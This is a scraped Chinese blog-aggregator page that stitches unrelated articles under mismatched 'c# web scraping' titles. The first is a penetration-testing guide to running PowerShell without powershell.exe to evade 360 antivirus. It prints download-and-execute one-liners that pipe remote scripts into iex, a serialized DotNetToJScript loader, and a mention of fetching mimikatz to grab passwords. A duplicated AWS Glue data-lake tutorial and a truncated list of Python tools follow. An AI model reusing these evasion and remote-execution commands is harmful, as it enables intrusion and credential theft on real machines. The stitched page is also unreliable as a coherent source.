"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = &#39;TestClass&#39;;
try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;); var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) { debug(e.message);}
解密后的主要逻辑如下:
var entry_class = &#39;TestClass&#39;;try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;);var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;);var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:\\test\\test.ps1");} catch (e) {debug(e.message);}
  运行结果:
  当然也可以使用以下方法绕过对JS后缀的检测
  cscript //e:jscript testps.txt
  但是360无情地杀了我们……
  
  写在后面:
  本文只总结了网上常用的不用PS运行PS的方法。您还可以看到,在实验过程中,可以绕过一些 AV,并且各有优缺点。最好找出不同的 AV。它的拦截规则,然后对其执行绕过操作。
  参考文章:
  免责声明:作者的初衷是分享和普及网络知识。读者如有任何危害网络安全的行为,后果自负。与和田智慧及原作者无关! 查看全部

  c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)
  原创:冷翼和田智慧
  今天给大家带来的就是不使用powershell运行powershell的一些姿势分享。由于powershell的特性,很受渗透测试爱好者的欢迎。当然,它也催生了ASMI等防御方式。当然,各种杀软也将它纳入了杀戮的行列,比如某件套装,只要叫PS就会被杀掉,实在是太恶心了。
  
  因此,在与AV的对抗中,我们也会尝试绕过执行PS。这里总结了几个不用powershell执行powershell的姿势,希望对大家在实战中有所帮助。
  以下是一个摘要列表:
  以下实验如无特别说明,均在最新版windows server 2008 sp2+360下进行。
  电源线
  PowerLine 是一个用 c# 编写的工具,支持本地命令行调用和远程调用。它可以调用 PowerShell 脚本,而无需直接调用 PowerShell。优点如下:
  下载链接:
  让我们看看如何使用它:
  先把工程拉到本地,然后运行build.bat文件
  
  然后在UserConf.xml文件中填写需要调用的powershell脚本的地址。默认自带powerup、powerview、Mimikatz等。只需按照他给的格式添加你的ps脚本地址即可。
  
  添加完成后,运行PLBuilder.exe进行构建。构建过程中,360不提示
  
  查看内置脚本 PowerLine.exe -ShowScripts
  
  运行脚本,360静音
  
  但是运行后,360提示报病毒并删除了我的exe文件……一般情况下,AV只检测到PS发送的恶意请求,但是因为在powerline中,请求是由powerline发送的,所以绕过了一部分AV,但是缺点也很明显,就是扩展性太差,所有功能都依赖配置文件……
  PowerShdll
  该工具主要使用dll来运行powershell,无需连接powershell.exe,因此具有一定的bypassAV能力。当然也可以在这些程序下运行rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或者使用作者给出的单独exe执行
  下载链接:
  exe版本使用方法:
  使用PowerShdll -i 进入交互模式,就会得到一个交互的PS环境,可以执行任意powershell命令,全程360无拦截
  
  下载mimikatz抢密码,360全程无反应...
  
  交互模式下唯一需要注意的是,你输入的内容不能太长,否则会出现问题,原因不明....
  下面我们来看看dll版本的使用情况。。
  rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent. ... p.ps1 } ^| iex;
  这次就没那么幸运了,直接被360秒杀
  
  无powershell
  NoPowerShell 是一个用 C# 实现的工具,它支持执行类似 PowerShell 的命令,同时对任何 PowerShell 日志记录机制都是不可见的。它还提供了CS下的cna脚本。
  优势:
  下载链接:
  我们来看看它的用法:
  直接运行会输出它的版本和支持的命令
  
  
  360流程无拦截
  dll版本在几秒钟内被杀死..
  
  在cs下稳定..
  
  这里需要注意的一点是,脚本默认调用脚本下的文件。国内的cs大多是脚本目录,可以自己修改文件中的目录。
  了解了相关知识,我们如何在实践中应用?登录和天网络安全实验室寻找答案。
  相关实验:CobaltStrike 的代理和 powershell
  SyncAppvPublishingServer
  SyncAppvPublishingServer是win10自带的服务。vbs和exe有两个版本。我们可以用它们来做一些类似于PS的操作。
  默认存储在 C:\Windows\System32 下
  
  使用示例:
  炸弹电脑:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
  
  或者:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
  您还可以去远程下载并执行一些 ps 脚本,如下所示:
  C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile(&#39;https://raw.githubusercontent. ... 39%3B,&#39;$env:USERPROFILE/1.ps1&#39;); Start-Process &#39;$env:USERPROFILE/1.ps1&#39; -WindowStyle Minimized;"
  SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent. ... %2339;) | IEX"
  调用 MSBuild.exe:
  MSBuild 是一个收录在 .Net 框架中的工具,用于自动化创建软件产品的过程,包括编译源代码、打包、测试、部署和创建文档。
  Msbuild 依赖于 .csproj 文件,该文件具有 XML 语法并收录 .NET 构建过程的结果,类似于 unix 中的 make,代码如下:
   outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }}
]]>< / Code>
  test.ps1的内容如下
  echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable
  影响:
  
  全360无提示..
  github上也有一个类似的项目:
  执行后获取交互式 PS
  
  调用 cscript:
  github上有一个开源项目,可以直接生成.js文件。用法是
  Dotnettojscript.exe > testps.js
  现在作者给出了一个编译版本,但是里面总是存在一些问题:
  Error: loading assembly information.The generated script might not work correctly
  所以我们下载它并手动编译它..
  先用vs打开项目,然后切换到TestClass.cs,注释掉MessageBox方法,不然每次运行都会得到一个messageBox
  
  然后,因为需要调用PS,所以需要引入“System.Management.Automation.Runspaces”,“System.Management.Automation”,我们可以在PS下使用如下命令查询dll的位置,然后手动进口
  [psobject].Assembly.Location
  
  引入后,在TestClass中添加如下方法:
  private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}
  编译后我们得到Dotnettojscript.exe和ExampleAssembly.dll两个文件,然后我们继续从我们的test.ps1文件中生成一个js文件,
  其内容如下:
  function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmcm9tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = &#39;TestClass&#39;;
try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;); var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) { debug(e.message);}
解密后的主要逻辑如下:
var entry_class = &#39;TestClass&#39;;try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject(&#39;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#39;);var al = new ActiveXObject(&#39;System.Collections.ArrayList&#39;);var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:\\test\\test.ps1");} catch (e) {debug(e.message);}
  运行结果:
  当然也可以使用以下方法绕过对JS后缀的检测
  cscript //e:jscript testps.txt
  但是360无情地杀了我们……
  
  写在后面:
  本文只总结了网上常用的不用PS运行PS的方法。您还可以看到,在实验过程中,可以绕过一些 AV,并且各有优缺点。最好找出不同的 AV。它的拦截规则,然后对其执行绕过操作。
  参考文章:
  免责声明:作者的初衷是分享和普及网络知识。读者如有任何危害网络安全的行为,后果自负。与和田智慧及原作者无关!

c#抓取网页数据(AmazonS3数据存储和分析方法,可解决海量异构数据难题 )

网站优化优采云 发表了文章 • 0 个评论 • 85 次浏览 • 2022-04-15 06:05 • 来自相关话题

  c#抓取网页数据(AmazonS3数据存储和分析方法,可解决海量异构数据难题
)
  数据湖是一种越来越流行的数据存储和分析方法,可解决处理大量异构数据的挑战。数据湖允许组织将所有结构化和非结构化数据存储在一个集中的存储库中。由于数据可以按原样存储,因此无需将其转换为预定义的数据结构(与传统的关系数据仓库不同)。
  
  许多组织都了解将 Amazon S3 用作数据湖的好处。例如,Amazon S3 是一种高度耐用、经济高效的对象存储服务,它支持开放数据格式,同时将存储与计算解耦,并且可以与所有 AWS 分析服务集成。尽管 Amazon S3 为您的数据湖提供了基础,但您也可以根据您的业务需求添加其他 AWS 服务来自定义您的数据湖。有关在 AWS 上构建数据湖的更多信息,请参阅什么是数据湖?
  由于使用数据湖的主要挑战之一是查找数据并了解其结构和格式,因此亚马逊最近推出了 AWS Glue。AWS Glue 通过发现数据的结构和格式,显着减少了从 Amazon S3 数据湖快速获取业务洞察所需的时间和精力。AWS Glue 自动爬取 Amazon S3 上的数据,识别数据格式,然后建议可与其他 AWS 分析服务一起使用的数据表结构。
  这篇博文将引导您完成使用 AWS Glue 在 Amazon S3 上结构化地抓取数据的过程,构建可供其他 AWS 产品使用的元数据存储。
  AWS Glue 的功能
  AWS Glue 是一种完全托管的数据目录和 ETL(提取、转换和加载)服务,可简化和自动化数据发现、转换和作业调度等困难且耗时的任务。AWS Glue 使用可识别常见数据格式和数据类型(包括 CSV、Apache Parquet、JSON 等)的预构建分类器来爬取数据源并构建数据目录。
  由于 AWS Glue 与现代数据架构的核心组件 Amazon S3、Amazon RDS、Amazon Athena、Amazon Redshift 和 Amazon Redshift Spectrum 集成,因此可以提供无缝的一站式服务来协调移动和管理你的数据。
  AWS Glue 数据目录与 Apache Hive Metastore 兼容,并支持 Hive、Presto、Apache Spark 和 Apache Pig 等常用工具。它还直接与 Amazon Athena、Amazon EMR 和 Amazon Redshift Spectrum 集成。
  此外,AWS Glue 数据目录具有以下扩展功能,可提供开箱即用的数据管理功能体验:
  - 通过搜索发现数据
  - 使用分类识别和解析文件
  - 使用版本控制管理不断变化的架构
  有关更多信息,请参阅 AWS Glue 产品详细信息。
  Amazon S3 数据湖
  AWS Glue 是 Amazon S3 数据湖不可分割的一部分,为现代数据分析提供数据目录和转换服务。
  
  在上图中,数据针对不同的分析场景进行了分段。最初,数据以其原创格式被摄取,这是数据的不可变副本。然后对数据进行转换和丰富,使其对每个用例都更有价值。在此示例中,原创 CSV 文件被转换为 Apache Parquet 格式以供 Amazon Athena 使用,以提高性能并降低成本。
  我们还可以通过将数据与其他数据集相结合来丰富和提供更多见解。AWS Glue 爬网程序根据作业触发器或预定义的计划为数据的每个转换暂存阶段创建一个表。在此示例中,每次将新文件添加到原创数据 S3 存储桶时,都会触发 AWS Lambda 函数进行 ETL 处理。Amazon Athena、Amazon Redshift Spectrum 和 Amazon EMR 等服务可以在任何阶段使用这些表通过标准 SQL 或 Apache Hive 查询数据。这种架构是一种流行的设计模式,它提供敏捷的商业智能,可以快速轻松地从各种数据中获取商业价值。
  在此演示中,您将定义一个数据库,配置一个爬虫以浏览 Amazon S3 存储桶中的数据,创建一个表,将 CSV 文件转换为 Parquet,为 Parquet 数据创建一个表,并使用 Amazon Athena 查询数据。
  数据发现
  登录 AWS 管理控制台并打开 AWS Glue 控制台。您可以在 Analytics 类别中找到 AWS Glue 服务。在构建此解决方案之前,请查看 AWS 区域列表以了解 Glue 的可用位置。
  数据发现的第一步是添加一个数据库(database)。数据库是表的集合。
  1、 在控制台中,选择添加数据库。在数据库名称中,键入 nycitytaxi,然后选择创建。
  
  2、 在导航窗格中选择表 ( table )。表由列名、数据类型定义和有关数据集的其他元数据组成。
  
  3、 您可以手动或使用爬虫将表添加到数据库 nycitytaxi。爬虫是连接到数据存储并使用分类器的优先级列表来确定数据结构的程序。AWS Glue 为常见文件类型(例如 CSV、JSON、Avro 等)提供分类器。您还可以使用 Grok 模式编写自己的分类器。
  
  4、 要添加爬网程序,请输入数据源:名为 s3://aws-bigdata-blog/artifacts/glue-data-lake/data/ 的 Amazon S3 存储桶。此 S3 存储桶收录一个数据文件,其中收录 2017 年 1 月的所有绿色出租车行程。
  
  5、 选择下一步。
  
  6、 对于 IAM 角色,在下拉列表中选择默认角色 AWSGlueServiceRoleDefault。
  
  7、 对于频率,选择按需运行。爬虫可以按需运行或设置为按计划运行。
  
  8、 对于数据库,选择 nycitytaxi。了解 AWS Glue 如何处理对数据结构的更改非常重要,这样您就可以选择适当的方法。在此示例中,表结构将随着数据的任何更改而更新。有关架构更改的更多信息,请参阅 AWS Glue 开发人员指南中的使用爬虫编目表。
  
  9、 查看这些步骤,然后选择完成。爬虫已准备好运行。选择立即运行。
  
  爬虫完成后,会添加一个表。
  
  10、 在左侧导航窗格中选择表格,然后选择数据。此屏幕描述了表,包括表结构(模式)、属性和其他有价值的信息。
  
  
  将数据从 CSV 格式转换为 Parquet 格式
  您现在可以配置和运行作业以将数据从 CSV 转换为 Parquet。Parquet 是一种柱状格式,非常适合 Amazon Athena 和 Amazon Redshift Spectrum 等 AWS 分析服务。
  1、 在左侧导航窗格中的 ETL 下,选择作业,然后选择添加作业。
  
  2、 对于名称,键入 nytaxi-csv-parquet。
  3、 对于 IAM 角色,
  请选择 AWSGlueServiceRoleDefault。
  4、 对于此作业运行,选择 AWS Glue 生成的建议脚本。(由 AWS Glue 生成的建议脚本)
  5、 提供唯一的 Amazon S3 路径来存储脚本。
  6、 为临时目录提供唯一的 Amazon S3 目录。
  7、 选择下一步。
  
  8、 选择数据作为数据源。
  
  9、选择在数据目标中创建一个表。
  10、 选择 Parquet 作为格式。
  11、 选择一个新位置(没有任何现有对象的新前缀位置)来存储结果。
  
  12、 验证表结构映射关系,选择Done。
  
  13、 查看此作业。此屏幕提供作业的完整视图,并允许您编辑、保存和运行作业。AWS Glue 创建了这个脚本。但是,如果需要,您可以创建自己的自定义脚本。
  
  14、选择保存,然后运行作业。
  添加 Parquet 表和爬虫
  作业完成后,使用爬虫为 Parquet 数据添加新表。
  1、 对于采集器名称,键入 nytaxiparquet。
  
  2、 选择 S3 作为数据存储。
  3、 包括在 ETL 中选择的 Amazon S3 路径
  
  4、 对于 IAM 角色,选择 AWSGlueServiceRoleDefault。
  
  5、 对于数据库,选择 nycitytaxi。
  
  6、对于频率,选择按需运行。
  
  爬虫完成后,nycitytaxi 数据库中有两张表:一张用于原创 CSV 数据,一张用于转换后的 Parquet 数据。
  使用 Amazon Athena 分析数据
  Amazon Athena 是一种交互式查询服务,可以使用标准 SQL 轻松分析 Amazon S3 中的数据。Athena 可以查询 CSV 数据。但是 Parquet 的文件格式可以大大减少查询数据的时间和成本。有关更多信息,请参阅博客文章使用 Amazon Athena 分析 Amazon S3 中的数据。
  要将 AWS Glue 与 Amazon Athena 结合使用,您必须将 Athena 元数据目录升级到 AWS Glue 数据目录。有关升级 Athena 元数据目录的更多信息,请参阅分步指南。
  1、 打开 Athena 的 AWS 管理控制台。查询编辑器将在 nycitytaxi 中显示两个表
  
  您可以使用标准 SQL 查询数据。
  1、 选择 nytaxigreenparquet
  2、 Type Select * From "nycitytaxi"."data" limit 10;
  3、 选择运行查询。
  
  使用 AWS Glue 和 Amazon S3 为数据湖奠定基础,详情如下:
   查看全部

  c#抓取网页数据(AmazonS3数据存储和分析方法,可解决海量异构数据难题
)
  数据湖是一种越来越流行的数据存储和分析方法,可解决处理大量异构数据的挑战。数据湖允许组织将所有结构化和非结构化数据存储在一个集中的存储库中。由于数据可以按原样存储,因此无需将其转换为预定义的数据结构(与传统的关系数据仓库不同)。
  
  许多组织都了解将 Amazon S3 用作数据湖的好处。例如,Amazon S3 是一种高度耐用、经济高效的对象存储服务,它支持开放数据格式,同时将存储与计算解耦,并且可以与所有 AWS 分析服务集成。尽管 Amazon S3 为您的数据湖提供了基础,但您也可以根据您的业务需求添加其他 AWS 服务来自定义您的数据湖。有关在 AWS 上构建数据湖的更多信息,请参阅什么是数据湖?
  由于使用数据湖的主要挑战之一是查找数据并了解其结构和格式,因此亚马逊最近推出了 AWS Glue。AWS Glue 通过发现数据的结构和格式,显着减少了从 Amazon S3 数据湖快速获取业务洞察所需的时间和精力。AWS Glue 自动爬取 Amazon S3 上的数据,识别数据格式,然后建议可与其他 AWS 分析服务一起使用的数据表结构。
  这篇博文将引导您完成使用 AWS Glue 在 Amazon S3 上结构化地抓取数据的过程,构建可供其他 AWS 产品使用的元数据存储。
  AWS Glue 的功能
  AWS Glue 是一种完全托管的数据目录和 ETL(提取、转换和加载)服务,可简化和自动化数据发现、转换和作业调度等困难且耗时的任务。AWS Glue 使用可识别常见数据格式和数据类型(包括 CSV、Apache Parquet、JSON 等)的预构建分类器来爬取数据源并构建数据目录。
  由于 AWS Glue 与现代数据架构的核心组件 Amazon S3、Amazon RDS、Amazon Athena、Amazon Redshift 和 Amazon Redshift Spectrum 集成,因此可以提供无缝的一站式服务来协调移动和管理你的数据。
  AWS Glue 数据目录与 Apache Hive Metastore 兼容,并支持 Hive、Presto、Apache Spark 和 Apache Pig 等常用工具。它还直接与 Amazon Athena、Amazon EMR 和 Amazon Redshift Spectrum 集成。
  此外,AWS Glue 数据目录具有以下扩展功能,可提供开箱即用的数据管理功能体验:
  - 通过搜索发现数据
  - 使用分类识别和解析文件
  - 使用版本控制管理不断变化的架构
  有关更多信息,请参阅 AWS Glue 产品详细信息。
  Amazon S3 数据湖
  AWS Glue 是 Amazon S3 数据湖不可分割的一部分,为现代数据分析提供数据目录和转换服务。
  
  在上图中,数据针对不同的分析场景进行了分段。最初,数据以其原创格式被摄取,这是数据的不可变副本。然后对数据进行转换和丰富,使其对每个用例都更有价值。在此示例中,原创 CSV 文件被转换为 Apache Parquet 格式以供 Amazon Athena 使用,以提高性能并降低成本。
  我们还可以通过将数据与其他数据集相结合来丰富和提供更多见解。AWS Glue 爬网程序根据作业触发器或预定义的计划为数据的每个转换暂存阶段创建一个表。在此示例中,每次将新文件添加到原创数据 S3 存储桶时,都会触发 AWS Lambda 函数进行 ETL 处理。Amazon Athena、Amazon Redshift Spectrum 和 Amazon EMR 等服务可以在任何阶段使用这些表通过标准 SQL 或 Apache Hive 查询数据。这种架构是一种流行的设计模式,它提供敏捷的商业智能,可以快速轻松地从各种数据中获取商业价值。
  在此演示中,您将定义一个数据库,配置一个爬虫以浏览 Amazon S3 存储桶中的数据,创建一个表,将 CSV 文件转换为 Parquet,为 Parquet 数据创建一个表,并使用 Amazon Athena 查询数据。
  数据发现
  登录 AWS 管理控制台并打开 AWS Glue 控制台。您可以在 Analytics 类别中找到 AWS Glue 服务。在构建此解决方案之前,请查看 AWS 区域列表以了解 Glue 的可用位置。
  数据发现的第一步是添加一个数据库(database)。数据库是表的集合。
  1、 在控制台中,选择添加数据库。在数据库名称中,键入 nycitytaxi,然后选择创建。
  
  2、 在导航窗格中选择表 ( table )。表由列名、数据类型定义和有关数据集的其他元数据组成。
  
  3、 您可以手动或使用爬虫将表添加到数据库 nycitytaxi。爬虫是连接到数据存储并使用分类器的优先级列表来确定数据结构的程序。AWS Glue 为常见文件类型(例如 CSV、JSON、Avro 等)提供分类器。您还可以使用 Grok 模式编写自己的分类器。
  
  4、 要添加爬网程序,请输入数据源:名为 s3://aws-bigdata-blog/artifacts/glue-data-lake/data/ 的 Amazon S3 存储桶。此 S3 存储桶收录一个数据文件,其中收录 2017 年 1 月的所有绿色出租车行程。
  
  5、 选择下一步。
  
  6、 对于 IAM 角色,在下拉列表中选择默认角色 AWSGlueServiceRoleDefault。
  
  7、 对于频率,选择按需运行。爬虫可以按需运行或设置为按计划运行。
  
  8、 对于数据库,选择 nycitytaxi。了解 AWS Glue 如何处理对数据结构的更改非常重要,这样您就可以选择适当的方法。在此示例中,表结构将随着数据的任何更改而更新。有关架构更改的更多信息,请参阅 AWS Glue 开发人员指南中的使用爬虫编目表。
  
  9、 查看这些步骤,然后选择完成。爬虫已准备好运行。选择立即运行。
  
  爬虫完成后,会添加一个表。
  
  10、 在左侧导航窗格中选择表格,然后选择数据。此屏幕描述了表,包括表结构(模式)、属性和其他有价值的信息。
  
  
  将数据从 CSV 格式转换为 Parquet 格式
  您现在可以配置和运行作业以将数据从 CSV 转换为 Parquet。Parquet 是一种柱状格式,非常适合 Amazon Athena 和 Amazon Redshift Spectrum 等 AWS 分析服务。
  1、 在左侧导航窗格中的 ETL 下,选择作业,然后选择添加作业。
  
  2、 对于名称,键入 nytaxi-csv-parquet。
  3、 对于 IAM 角色,
  请选择 AWSGlueServiceRoleDefault。
  4、 对于此作业运行,选择 AWS Glue 生成的建议脚本。(由 AWS Glue 生成的建议脚本)
  5、 提供唯一的 Amazon S3 路径来存储脚本。
  6、 为临时目录提供唯一的 Amazon S3 目录。
  7、 选择下一步。
  
  8、 选择数据作为数据源。
  
  9、选择在数据目标中创建一个表。
  10、 选择 Parquet 作为格式。
  11、 选择一个新位置(没有任何现有对象的新前缀位置)来存储结果。
  
  12、 验证表结构映射关系,选择Done。
  
  13、 查看此作业。此屏幕提供作业的完整视图,并允许您编辑、保存和运行作业。AWS Glue 创建了这个脚本。但是,如果需要,您可以创建自己的自定义脚本。
  
  14、选择保存,然后运行作业。
  添加 Parquet 表和爬虫
  作业完成后,使用爬虫为 Parquet 数据添加新表。
  1、 对于采集器名称,键入 nytaxiparquet。
  
  2、 选择 S3 作为数据存储。
  3、 包括在 ETL 中选择的 Amazon S3 路径
  
  4、 对于 IAM 角色,选择 AWSGlueServiceRoleDefault。
  
  5、 对于数据库,选择 nycitytaxi。
  
  6、对于频率,选择按需运行。
  
  爬虫完成后,nycitytaxi 数据库中有两张表:一张用于原创 CSV 数据,一张用于转换后的 Parquet 数据。
  使用 Amazon Athena 分析数据
  Amazon Athena 是一种交互式查询服务,可以使用标准 SQL 轻松分析 Amazon S3 中的数据。Athena 可以查询 CSV 数据。但是 Parquet 的文件格式可以大大减少查询数据的时间和成本。有关更多信息,请参阅博客文章使用 Amazon Athena 分析 Amazon S3 中的数据。
  要将 AWS Glue 与 Amazon Athena 结合使用,您必须将 Athena 元数据目录升级到 AWS Glue 数据目录。有关升级 Athena 元数据目录的更多信息,请参阅分步指南。
  1、 打开 Athena 的 AWS 管理控制台。查询编辑器将在 nycitytaxi 中显示两个表
  
  您可以使用标准 SQL 查询数据。
  1、 选择 nytaxigreenparquet
  2、 Type Select * From "nycitytaxi"."data" limit 10;
  3、 选择运行查询。
  
  使用 AWS Glue 和 Amazon S3 为数据湖奠定基础,详情如下:
  

c#抓取网页数据(最优秀的Python工具之一-learn-)

网站优化优采云 发表了文章 • 0 个评论 • 74 次浏览 • 2022-04-11 18:35 • 来自相关话题

  c#抓取网页数据(最优秀的Python工具之一-learn-)
  标题图片 | CSDN从东方IC下载
  制作 | CSDN(ID:CSDNnews)
  Python 是一种开源编程语言,可用于网络编程、数据科学、人工智能和许多科学应用。学习 Python 可以让程序员专注于解决问题,而不是语法。由于 Python 比较小而且工具种类繁多,它比 Java 和 C++ 等语言具有优势,而丰富的库赋予了 Python 做各种伟大事情所需的能力。
  以下是程序员和学生最常用的一些 Python 工具:
  
  空闲
  安装 Python 时,IDLE 也会默认安装。这是目前最好的 Python 工具之一。它可以降低 Python 的入门门槛。它的主要功能包括 Python Shell 窗口(交互式解释器)、自动完成、语法突出显示和基本的集成调试器。 IDLE 轻巧易用,易于学习。但是,它不适合大型项目。许多程序员将其用作最好的 Python 工具。
  
  Scikit-学习
  Scikit-learn 是数据科学中最常用的 Python 工具之一。这是一个专为机器学习和数据科学设计的 Python 工具。该工具主要用于分类、回归、聚类、模型选择和预处理等任务。 scikit-Learn 的最佳特性是在测试数据集上执行基准测试的速度令人难以置信。因此,Scikit-learn 是程序员和学生最好的 Python 工具之一。
  
  Theano
  Theano 是一个用于数据科学的 Python 工具,对于程序员和学生来说是一个非常可靠的工具。它是深度学习最好的 Python 工具,因此非常适合深度学习。 Theano 被设计为用户友好、模块化、易于扩展并与 Python 一起使用。它能够以最好的方式表达神经网络。 Theano 可以在 TensorFlow 和 CNTK 等流行的神经网络上运行。
  
  硒
  Selenium 是最好的 Python 自动化工具之一。它适用于 Python 测试的自动化,通常用作 Web 应用程序的自动化框架。我们可以使用 Selenium 编写多种编程语言的测试脚本,包括 Java、C#、Python、ruby 以及程序员和学生使用的许多其他语言。您还可以在 Selenium 中集成 Junit 和 TestNG 等工具来管理测试用例并生成报告。
  
  测试完成
  Testcomplete 是另一个很棒的 Python 自动化工具。支持 Web、移动和桌面自动化测试。更高级的应用程序需要商业许可,它还可以帮助学生提高学习成绩。测试完成还可以像机器人框架一样执行关键字驱动的测试。它有最好的录音和播放功能,非常好用。
  
  美丽的肥皂
